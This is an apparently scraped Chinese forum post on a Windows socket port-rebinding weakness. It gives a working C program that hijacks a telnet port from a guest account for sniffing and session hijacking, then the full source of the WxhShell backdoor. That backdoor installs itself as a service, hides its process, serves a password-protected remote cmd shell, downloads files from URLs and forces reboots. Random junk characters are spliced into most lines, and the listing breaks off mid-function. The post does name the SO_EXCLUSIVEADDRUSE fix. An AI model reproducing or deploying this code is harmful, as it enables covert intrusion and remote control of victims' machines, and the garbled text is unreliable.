在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#x@$lc=k3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7Y lchmd t6rRU~;} saddr.sin_family = AF_INET;
KA5v +~ m5n#v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qyb?49I t[HE6ea bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
XE RUo 50h!
X9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3F"lXguS v@sIHb 这意味着什么?意味着可以进行如下的攻击:
qfF~D0} D'>_I. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
kb%;=t2 A.F%Ycq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7jrt7[{ t
mntp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
y<UK:^t31V N>uRf0E> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
O *C;Vqt goNG' o %| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%jJG>T s3N'02G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_{ue8kGt ,O5NLg- 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#!B4 u?"m \0gis# #include
B^=-Z8 #include
pp?D7S #include
m[osg< CR_ #include
;._
l0Jw DWORD WINAPI ClientThread(LPVOID lpParam);
DDQx
g int main()
E,Z$pKL? {
5PCqYN(:B WORD wVersionRequested;
`?H]h"{7Q DWORD ret;
:9afg WSADATA wsaData;
(M|Dx\_ BOOL val;
j a[Et/r SOCKADDR_IN saddr;
J`Q>3]wL SOCKADDR_IN scaddr;
$GV7o{"& int err;
3m[vXr? SOCKET s;
krxo"WgD SOCKET sc;
-:^U_FL8un int caddsize;
n)/z0n!\ HANDLE mt;
ZmqKQO DWORD tid;
wVXS%4|v wVersionRequested = MAKEWORD( 2, 2 );
&<g|gsG` err = WSAStartup( wVersionRequested, &wsaData );
Jumgb if ( err != 0 ) {
&;6`)M{*} printf("error!WSAStartup failed!\n");
1UgEI"#a6g return -1;
`cn#B
BV }
2ACCh4(/P saddr.sin_family = AF_INET;
H H)!_(SA of~4Q{f$6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ufj`euY m,28u3@r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;]puq saddr.sin_port = htons(23);
_RYxD"my if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;LfXi 8) {
%Qgw7p4 printf("error!socket failed!\n");
hW')Sp return -1;
h8j.( }
RU{twL.B val = TRUE;
? V1*cVD6i //SO_REUSEADDR选项就是可以实现端口重绑定的
yu {d! {6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
t,Lrfv]) {
:k]1Lm|| printf("error!setsockopt failed!\n");
h^45,E C return -1;
[^n.Pn s }
D8Ic?:iX[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
dbLZc$vPj //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>=lC4Tu //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G>_*djUf ;V_e>TyG if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
GAzU?a{S {
H'5)UX@LP ret=GetLastError();
eIF5ZPSZi printf("error!bind failed!\n");
EP&,MYI%E return -1;
FkDmP`Od }
%Xd[(Q) listen(s,2);
5ta `%R_ while(1)
4B;=kL_f {
@IKYh{j4 caddsize = sizeof(scaddr);
S}3fr^{. //接受连接请求
ssA`I<p # sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,,.QfUj/& if(sc!=INVALID_SOCKET)
FXCMR\BsQ {
7"D",1h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]%SH> if(mt==NULL)
(Rh,, {
2"Q|+-Io printf("Thread Creat Failed!\n");
/N+dQe break;
@7c?xQVd$ }
mIvx1_[ }
"{+QW CloseHandle(mt);
#MkTkm&r }
N% B>M7-= closesocket(s);
wu6;.xTLl WSACleanup();
8rGgF]F return 0;
g-k|>-h }
nAato\mM DWORD WINAPI ClientThread(LPVOID lpParam)
j_[tu!~ {
+E+p"7 SOCKET ss = (SOCKET)lpParam;
rKc9b<Ir SOCKET sc;
s^TZXCyF o unsigned char buf[4096];
FGJ1dBLr SOCKADDR_IN saddr;
*Q.>-J<S long num;
1\m[$Gs: DWORD val;
]A`n(
"% DWORD ret;
iyE7V_O T //如果是隐藏端口应用的话,可以在此处加一些判断
;1=1:S8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<=&`ZH saddr.sin_family = AF_INET;
e"cXun4nS= saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R^fPIv`q saddr.sin_port = htons(23);
uMv,zO5 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
bWS&Yk( {
FxY}m printf("error!socket failed!\n");
lFj]4 return -1;
S+6.ZZ9c }
,THw"bm val = 100;
{uFO/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B mb0cFQ {
V &T~zh1 ret = GetLastError();
m7V/zne return -1;
w.o@7|B1N }
) q4[zv9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B-Hrex] {
5;WH:XM ret = GetLastError();
Z\rwO>3 return -1;
4"ZP 'I; }
YP<ms if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_61gF[r4!Y {
gVuFHHeUz printf("error!socket connect failed!\n");
VQ@ closesocket(sc);
E]d.z6k closesocket(ss);
Ne!lH@ql return -1;
T763:v }
?j.,Nw4FC while(1)
C): 1?@ {
Nx;~@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~8+ Zs //如果是嗅探内容的话,可以再此处进行内容分析和记录
@
q3k%$4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+`0k Fbx num = recv(ss,buf,4096,0);
JR|ck=tq if(num>0)
Y@iS_lR send(sc,buf,num,0);
N~gzDQ3 else if(num==0)
tOD6&< break;
3}1u\(Mf num = recv(sc,buf,4096,0);
pki%vRY if(num>0)
BlO<PMmhT& send(ss,buf,num,0);
o-HT1Hc! else if(num==0)
^\% (,KNo break;
8,%^
M9zBP }
2,F.$X closesocket(ss);
HiFUv>,u closesocket(sc);
@HC Vmg: return 0 ;
OT*mO&Z }
I{2hfKUe` @mBQ?;qlK >U>(`r* ==========================================================
UkC!1Jy -2[a2^a' 下边附上一个代码,,WXhSHELL
dT8S~-d% X?',n
1 ==========================================================
}.(B}/$u Fm 2AEs\ #include "stdafx.h"
+sA2WK] |df Pki{ #include <stdio.h>
5qm`J,~k #include <string.h>
3hH<T.@) #include <windows.h>
=nS3p6>rZ #include <winsock2.h>
;'K5J9k #include <winsvc.h>
gf@:R'$:+ #include <urlmon.h>
N+xP26D8 WH} y"W #pragma comment (lib, "Ws2_32.lib")
{P./==^0 #pragma comment (lib, "urlmon.lib")
I236RIq
(ZizuHC #define MAX_USER 100 // 最大客户端连接数
F>l]
9!P|m #define BUF_SOCK 200 // sock buffer
?l )[7LR4 #define KEY_BUFF 255 // 输入 buffer
Avc%2+ T^KKy0ZGM #define REBOOT 0 // 重启
59A}}.@?m #define SHUTDOWN 1 // 关机
SH$PwJ U ~mxO7cy5Cg #define DEF_PORT 5000 // 监听端口
7}>E J ki!0^t:9 #define REG_LEN 16 // 注册表键长度
"^-a M #define SVC_LEN 80 // NT服务名长度
n84|{l581 SnfYT)Ph // 从dll定义API
\2$|Ei7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\8cx6 G' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?`ZUR&
20 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
GefTdO.& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
r19
pZAc +\9NDfYIA // wxhshell配置信息
NLqzi%s struct WSCFG {
a=2%4Wmz int ws_port; // 监听端口
CdQ!GS<'y char ws_passstr[REG_LEN]; // 口令
tsjrRMR int ws_autoins; // 安装标记, 1=yes 0=no
cwg"c4V char ws_regname[REG_LEN]; // 注册表键名
z:*|a+cy char ws_svcname[REG_LEN]; // 服务名
Z9|P'R(l char ws_svcdisp[SVC_LEN]; // 服务显示名
_D tV char ws_svcdesc[SVC_LEN]; // 服务描述信息
bG#>uE J- char ws_passmsg[SVC_LEN]; // 密码输入提示信息
5j(k:a+!H int ws_downexe; // 下载执行标记, 1=yes 0=no
~>|ziHx char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8 Z~EwY* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
iBaA9 &8lZNv8;(p };
e"<OELA VPo".BvG6 // default Wxhshell configuration
Nf\LN$ &8 struct WSCFG wscfg={DEF_PORT,
o+'6`g'8 "xuhuanlingzhe",
0l6.<-f{ 1,
bH~dJFj/ "Wxhshell",
sgFEK[w.y "Wxhshell",
k,*XG$2h "WxhShell Service",
*2l7f`K "Wrsky Windows CmdShell Service",
!Vk^TFt` "Please Input Your Password: ",
KWHY4 1,
7[)E>XRE "
http://www.wrsky.com/wxhshell.exe",
4WB0Pt{ "Wxhshell.exe"
[(lW^- };
M= (u]%\ !Uo4,g6r+ // 消息定义模块
"y}5;9#, char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`c$V$/IT char *msg_ws_prompt="\n\r? for help\n\r#>";
9.#<b|g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
mfr|:i char *msg_ws_ext="\n\rExit.";
z{QqY.Gu{G char *msg_ws_end="\n\rQuit.";
~"!fP3"e char *msg_ws_boot="\n\rReboot...";
B@ EC5Ap* char *msg_ws_poff="\n\rShutdown...";
N!}f}oF char *msg_ws_down="\n\rSave to ";
%N._w!N<5n ]-#DB^EQ char *msg_ws_err="\n\rErr!";
uY To9A char *msg_ws_ok="\n\rOK!";
W>r+h-kR
J&_n9$ char ExeFile[MAX_PATH];
RRJ%:5& int nUser = 0;
L/K(dkx HANDLE handles[MAX_USER];
e0 ecD3 int OsIsNt;
5 qA' %|oym.-I6
SERVICE_STATUS serviceStatus;
At;LO9T3z SERVICE_STATUS_HANDLE hServiceStatusHandle;
h?U
O&( "{t$nVJ // 函数声明
P%n>Tg80M int Install(void);
a<e[e> int Uninstall(void);
SpBy3wd int DownloadFile(char *sURL, SOCKET wsh);
DEgXQ[ int Boot(int flag);
307I$*%W void HideProc(void);
KI.hy2?e int GetOsVer(void);
vY3h3o int Wxhshell(SOCKET wsl);
n@3>6_^rwT void TalkWithClient(void *cs);
Q>z8IlJ} int CmdShell(SOCKET sock);
y~V(aih}D int StartFromService(void);
*-X[u: int StartWxhshell(LPSTR lpCmdLine);
%BODkc Zh ?Bmb' 3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!4!~Lk= VOID WINAPI NTServiceHandler( DWORD fdwControl );
bN.Pex -{vD:Il=6 // 数据结构和表定义
kJR`:J3DJ SERVICE_TABLE_ENTRY DispatchTable[] =
|7~<Is~* {
>$7B
wO {wscfg.ws_svcname, NTServiceMain},
zH
r_!~ {NULL, NULL}
Z\sDUJ };
'"s@enD0 y M6TD"- // 自我安装
/-s6<e! int Install(void)
|s_GlJV. {
E qiY\/S char svExeFile[MAX_PATH];
E{(;@PzE HKEY key;
xIn:ZKJ' strcpy(svExeFile,ExeFile);
i.#:zU%o I/N *gy?* // 如果是win9x系统,修改注册表设为自启动
j>kqz>3 if(!OsIsNt) {
`]aeI'[}R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
rm_Nn8p, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\=o- RegCloseKey(key);
wd6owr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&^nGtW%a 9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wL[
M: RegCloseKey(key);
,zc(t<|-y return 0;
j<$2hiI/?& }
X8\GzNE~R }
;*J }
/L3: else {
B5QFK 6LhTBV // 如果是NT以上系统,安装为系统服务
wIgS3K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Bw.i}3UT6 if (schSCManager!=0)
Bw
yx c {
-\MG}5?! SC_HANDLE schService = CreateService
FI.\%x (
< %Y}R\s? schSCManager,
,x $,l wscfg.ws_svcname,
^zr`;cJ+c wscfg.ws_svcdisp,
Y/oHu@
_ SERVICE_ALL_ACCESS,
pCG}ZKa SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fqd^9wl>P6 SERVICE_AUTO_START,
i/.6>4tE: SERVICE_ERROR_NORMAL,
lquLT6] svExeFile,
VU#7%ufu& NULL,
jiGTA:v NULL,
EM_d8o)`B NULL,
wuBPfb NULL,
!u hT NULL
Gm`8q}<I );
.)3 <Q}> if (schService!=0)
TqQ[_RKg2 {
Ort(AfW CloseServiceHandle(schService);
+7a6*;\ y CloseServiceHandle(schSCManager);
76SXJ9@x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\7_y%HR strcat(svExeFile,wscfg.ws_svcname);
@VI@fN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
V[V[~;Py RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
{..6>fS RegCloseKey(key);
Ul# r return 0;
N>E_%]C h }
D+c>F5 }
IGgL7^MF CloseServiceHandle(schSCManager);
,: ^u-b| }
~"bVL[ }
*^r}"in iDD$pd,e\ return 1;
fV~~J2IK }
CGFDqCNr- `@%LzeGz // 自我卸载
]@TCk8d$0 int Uninstall(void)
]###w; {
4e HKEY key;
y>LBl] 06jQE2z2R if(!OsIsNt) {
tX[WH\(xI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#Q5o)x RegDeleteValue(key,wscfg.ws_regname);
tBSW|0 RegCloseKey(key);
R!1p^~/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{)Xy%QV RegDeleteValue(key,wscfg.ws_regname);
&j6erwaT RegCloseKey(key);
p}P-6&k,U return 0;
#z42C?V }
cb bFw }
s[ N@0 }
zeRyL3fnmb else {
m+9#5a- 0`H#
'/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|a@L}m if (schSCManager!=0)
hGrdtsH? {
Zd&S@Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
('~LMu_ if (schService!=0)
&Qm@9I s {
!m$jk2< if(DeleteService(schService)!=0) {
,,TnIouy CloseServiceHandle(schService);
qP;OaM
CX CloseServiceHandle(schSCManager);
W3RT{\ return 0;
]'S^] }
6B-16 CloseServiceHandle(schService);
t,'<gI }
h];I{crh CloseServiceHandle(schSCManager);
2SLU:=<3 }
(sj,[
}
[-&Zl(9& >dT*rH 3w return 1;
kVL.PY\K }
}WV:erg` ^Dx&|UwiZa // 从指定url下载文件
z{>Rc"%\ int DownloadFile(char *sURL, SOCKET wsh)
GthYzd:'hJ {
8>V5dEbx' HRESULT hr;
Ts9uL5i char seps[]= "/";
I:.s_8mH} char *token;
Dh*n!7lD` char *file;
W!<U85-#S char myURL[MAX_PATH];
j.YA2mr char myFILE[MAX_PATH];
_*zt=zn> vv7I_nK? strcpy(myURL,sURL);
OJxl<Q=z token=strtok(myURL,seps);
}\LQ3y"[ while(token!=NULL)
8i pez/ {
i9$ Av file=token;
$8FUfJ1@ token=strtok(NULL,seps);
snJ129}A }
7o4\oRGV '<M{)? GetCurrentDirectory(MAX_PATH,myFILE);
uq{beC strcat(myFILE, "\\");
?4B`9<j8% strcat(myFILE, file);
cNH7C"@GVu send(wsh,myFILE,strlen(myFILE),0);
_G0x3 send(wsh,"...",3,0);
##{taR8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DI%saw if(hr==S_OK)
`{Ul! return 0;
[
3HfQ else
o(HbGHIP return 1;
Y ay?=Y{ A=4OWV? }
j39wA~K *`U~?q} // 系统电源模块
xkn;,`t^lJ int Boot(int flag)
Yw9GN2AG {
ry!!9Z>9n HANDLE hToken;
W4N{S.#! TOKEN_PRIVILEGES tkp;
F5Va+z,jg +q oRP2 if(OsIsNt) {
;);kEq/=P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h\e.e3/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Y0>y8UV tkp.PrivilegeCount = 1;
Z}QB.$& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&FD>&WRV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iB{V^ksU if(flag==REBOOT) {
fIF8%J ^3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7 3m1 return 0;
$^P0F9~0 }
yjAL\U7`T else {
7L??ae if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]-q;4. return 0;
#F#%`Rv1 }
nK,w]{<wG! }
hQi2U else {
}*-@!wc-N if(flag==REBOOT) {
9iq_rd] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o@Oqm> ]SS return 0;
nlYNN/@" }
OCUr{Nh else {
kl`W\t F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HhpDR return 0;
weQ_*<5% }
TN.rrop`#g }
2?5>o!C q@qsp&0/ return 1;
/ouPg=+Nl }
Y}/-C3) P%6~&woF // win9x进程隐藏模块
:
'c&,oLY void HideProc(void)
T|p"0b A {
yZRzIb_ N$DkX)Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
H. c7Nle if ( hKernel != NULL )
/mMV{[ {
Q@niNDaW2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zTp"AuNHN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;r8X.>P* FreeLibrary(hKernel);
n ;Ei\\p! }
U17d>]ka yr6V3],Tp return;
"zc l|@ }
?CZd Ol H[gWGbPq7 // 获取操作系统版本
?(PKeq6 int GetOsVer(void)
nu^436MSOa {
-12U4h<e OSVERSIONINFO winfo;
a}d@
T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
d1*<Ll9K GetVersionEx(&winfo);
ebq4g387X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;*N5Y}?j' return 1;
qLCR] _* else
C+]I@Go'Tk return 0;
!<oe=)Iz| }
So;<6~ I|OoRq // 客户端句柄模块
R/_&m$ZB int Wxhshell(SOCKET wsl)
%C0Dw\A*: {
B[}6-2<>?C SOCKET wsh;
H.;Q+A,8^ struct sockaddr_in client;
B1gR5p 0 DWORD myID;
E@\e$?*X LscGTs, while(nUser<MAX_USER)
GB^B r6 {
9$Y=orpWxr int nSize=sizeof(client);
83m3OD_y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~>G^=0LT if(wsh==INVALID_SOCKET) return 1;
CAlCDfKW} @d_M@\r=j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KXrjqqXs if(handles[nUser]==0)
Z,=1buSz_ closesocket(wsh);
k!^{eOM else
YQ}o?Q$z nUser++;
Fcx&hj1gQ }
}qUX=s
GG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$j~RWfw-
jo7\`#(Q return 0;
t:S+%u U }
gr{ DWCK b$7 +;I; // 关闭 socket
IgzQr > void CloseIt(SOCKET wsh)
3R/bz0 V> {
'R)Tn!6 closesocket(wsh);
KoRV%@I nUser--;
\*da6Am ExitThread(0);
0_/[k*Re }
y}
'@R$ l}h!B_P' // 客户端请求句柄
DDZ@$L! void TalkWithClient(void *cs)
0]L"H<W {
t-AmX)$ rOYx
b }1 SOCKET wsh=(SOCKET)cs;
MA\V[32H char pwd[SVC_LEN];
GY*p?k<i char cmd[KEY_BUFF];
cNrg#Asen& char chr[1];
54,er$$V int i,j;
pCDmXB jdN`mosJ while (nUser < MAX_USER) {
("@!>|H Y2TtY; if(wscfg.ws_passstr) {
,6/V"kqIP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TC('H[
] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#mT"gs //ZeroMemory(pwd,KEY_BUFF);
5-V pJ i=0;
- LSWmrj while(i<SVC_LEN) {
LeQjvW9y "Q<MS'a // 设置超时
`L
zPotz fd_set FdRead;
wzA$'+Mb struct timeval TimeOut;
[^)g%|W FD_ZERO(&FdRead);
OI*H,Z" FD_SET(wsh,&FdRead);
G*m0\ TimeOut.tv_sec=8;
y-k.U% TimeOut.tv_usec=0;
[0of1eCSl int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v19-./H^
j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4*L_)z&4; x2EUr,7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
F
[M,]? pwd
=chr[0]; }k0_5S
if(chr[0]==0xd || chr[0]==0xa) { siaG'%@*r
pwd=0; Gt1U!dP
break; _t$sgz&
} 1\Xw3prH
i++; pmM9,6P4@
} Z;i:](
Dv"9qk
// 如果是非法用户,关闭 socket ;gkM{={`p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZNoDFf*h
} 'F<TSy|4kI
sB</DS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XSDpRo
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y73C5.dNcE
:h$$J
lP
while(1) { 0f/<7R
s1rCpzK0
ZeroMemory(cmd,KEY_BUFF); pRqx`5 }
ixFi{_
// 自动支持客户端 telnet标准 .8R@2c`}Cs
j=0; D-c4EV
while(j<KEY_BUFF) { 9p/Bh$vJ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xAr\gu
cmd[j]=chr[0]; 8mMQ[#0:}
if(chr[0]==0xa || chr[0]==0xd) { Uly ue
cmd[j]=0; =&]L00u.
break; ^ c<Ve'-
} Wri<h:1
j++; bsX[UF
} pkzaNY/q
DrR@n~
// 下载文件 WY/}1X9.%
if(strstr(cmd,"http://")) { $X6h|?3U,
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
}pYqWTG
if(DownloadFile(cmd,wsh)) >j/w@Fj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uYN`:b8
else Q?vlfZR`8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (e~N q
} w}KkvP^
else { wz%-%39q%
qna8|3eP
switch(cmd[0]) { Nc`L;CP
L_T5nD^D
// 帮助
)2.Si#
case '?': { M-71 1|eGI
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #] QZ
break; wj,=$RX
} +whDU2 "
// 安装 q1,~
case 'i': { <YY 14p
if(Install()) >Ry01G]_/h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *pq\MiD/
else !a`&O-ye
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N)T}P\l
break; ]esC[r]PJ
} r;{.%s7
// 卸载 RP"kC4~1
case 'r': { aOp\91
if(Uninstall()) wT@og|M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); icgfB-1|i
else l**X^+=$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dH!*!r>
break; U6K|fYN`
} \D4:Nt#
// 显示 wxhshell 所在路径 &ncvGDGi
case 'p': { XSRsGTCC=
char svExeFile[MAX_PATH]; AH^/V}9H
strcpy(svExeFile,"\n\r"); I,tud!p`
strcat(svExeFile,ExeFile); {FkF
send(wsh,svExeFile,strlen(svExeFile),0); &Jj<h: *
break; /wp6KXm
} `3pW]&
// 重启 Y]>t[Lo%
case 'b': { eFgA 8kY)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7dWS
if(Boot(REBOOT)) qPNR`%}Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_C)
else { _f83-':W6
closesocket(wsh); ^('wy};
ExitThread(0); %EH)&k
} F5<Hm_\:
break; V0@=^Bls
} LV Ge]lD
// 关机 Xvu(vA
case 'd': { vP&(-a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !0+JbZ<%r|
if(Boot(SHUTDOWN)) 1M 6D3d_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(nlTMfu
else { dd;~K&_Q/i
closesocket(wsh); ?9/G[[(
ExitThread(0); sRs>"zAg
} dV_G1'
break; ?`s8 pPc4
} e6*8K@LHB
// 获取shell _>+Ld6.T6
case 's': { lxx2H1([
CmdShell(wsh); RZLq]8pM
closesocket(wsh); FrS]|=LJhX
ExitThread(0); Ui~>SN>s
break; @"A4$`Xi3
} K?;DMUSY\
// 退出 afVT~Sf{
case 'x': { +(Ae4{z"1+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /v{I
CloseIt(wsh); )nkY_'BV
break; 4(+PD&_J
} %b$>qW\*&
// 离开 )A6<c%d =x
case 'q': { q V=!ORuj
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )9g2D`a4
closesocket(wsh); Lbgi7|&
WSACleanup(); Wr
4,YQM
exit(1); XFl6M~ c
break; >MZ/|`[M
} h p1Bi
} <'u'#E@"sl
} X'ag)|5ot
j2k"cmsKh
// 提示信息 wk^B"+Uhy
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IGl9g_18
} M`_0C38
} J.a]K[ci
x2xRBkRg=
return; V3Bz
Mw\9r
} [agMfn
,tFg4k[
// shell模块句柄 YK_7ip.a[
int CmdShell(SOCKET sock) %{W6PrY{
{ 1MFbQs^
STARTUPINFO si; -).C
ZeroMemory(&si,sizeof(si)); )0`C@um
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hN_]6,<\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X|dlt{Gf
PROCESS_INFORMATION ProcessInfo; yi[x}ffdE
char cmdline[]="cmd"; Rq -ZL{LR7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -"x$ZnHU
return 0; E.h*g8bXe
} 0GwR~Z}Z
43cE`9~
// 自身启动模式 CIWO7bS
int StartFromService(void) ~N4m1s"
{ _`X:jj>
typedef struct ?ub35NLa
{ P \I|,
DWORD ExitStatus; 5P bW[
DWORD PebBaseAddress; PCA4k.,T
DWORD AffinityMask; mFeP9MfJ
DWORD BasePriority; I%):1\)
